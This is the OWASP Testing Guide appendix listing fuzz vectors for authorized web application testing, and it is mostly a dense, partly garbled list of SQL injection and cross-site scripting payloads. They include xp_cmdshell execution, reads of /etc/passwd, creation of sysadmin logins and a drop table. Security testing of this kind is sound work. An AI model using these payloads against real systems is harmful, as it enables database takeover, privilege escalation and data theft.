OWASP Testing Guide Appendix C: Fuzz Vectors

[Up]

The following are fuzzing vectors which can be used with webscarab or another fuzzer. Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing. This is the simple part of the discovery phase. Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required:

' OR 1=1-- OR 1=1 ' OR '1'='1 ; OR '1'='1' %22+or+isnull%281%2F0%29+%2F* %27+OR+%277659%27%3D%277659 %22+or+isnull%281%2F0%29+%2F* %27+--+  >"> alert("XSS") &   ">@import"javascript:alert('XSS')"; >"'>  >%22%27>   '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'   "> >"  '';!--"=&{} +or+isnull%281%2F0%29+%2F* %27+OR+%277659%27%3D%277659 %22+or+isnull%281%2F0%29+%2F* %27+--+&password= ' or 1=1-- " or 1=1--  ' or 1=1 /*   or 1=1--   ' or 'a'='a   " or "a"="a   ') or ('a'='a   Admin' OR '   '%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--   '; exec master..xp_cmdshell 'ping 10.10.1.2'--   ) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;   ' having 1=1--   ' having 1=1--   ' group by userid having 1=1--   ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--   ' or 1 in (select @@version)--   ' union all select @@version--   '; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --   ' and 1 in (select var from temp)--   ' ; drop table temp --   exec sp_addlogin 'name', 'password'   exec sp_addsrvrolemember 'name' , 'sysadmin'   INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))   CRATE USER name IDENTIFIED BY 'pass123' CRATEUSER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO name; GRANT RESOURCE TO name; ' union select 1,load_file('/etc/passwd'),1,1,1; ' OR 'unusual' = 'unusual' ' OR 'something' = 'some'+'thing' ' OR 'text' = N'text' ' OR 'something' like 'some%' ' OR 2 > 1 ' OR 'text' > 't'  ' OR 'whatever' in ('whatever') ' OR 2 BETWEEN 1 and 3 ' or username like char(37); ' union select * from users where login = char(114,111,111,116); ' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; ' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); '/**/OR/**/1/**/=/**/1 ' or 1/* Password:*/=1-- UNI/**/ON SEL/**/ECT '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER' '; EXEC ('SEL' + 'ECT US' + 'ER') INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)           &quot;)>   #115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41>   #0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041>   <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28&<WBR>#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC="jav&#x09;ascript:alert(<WBR>'XSS');"> <IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS');"> <IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS');">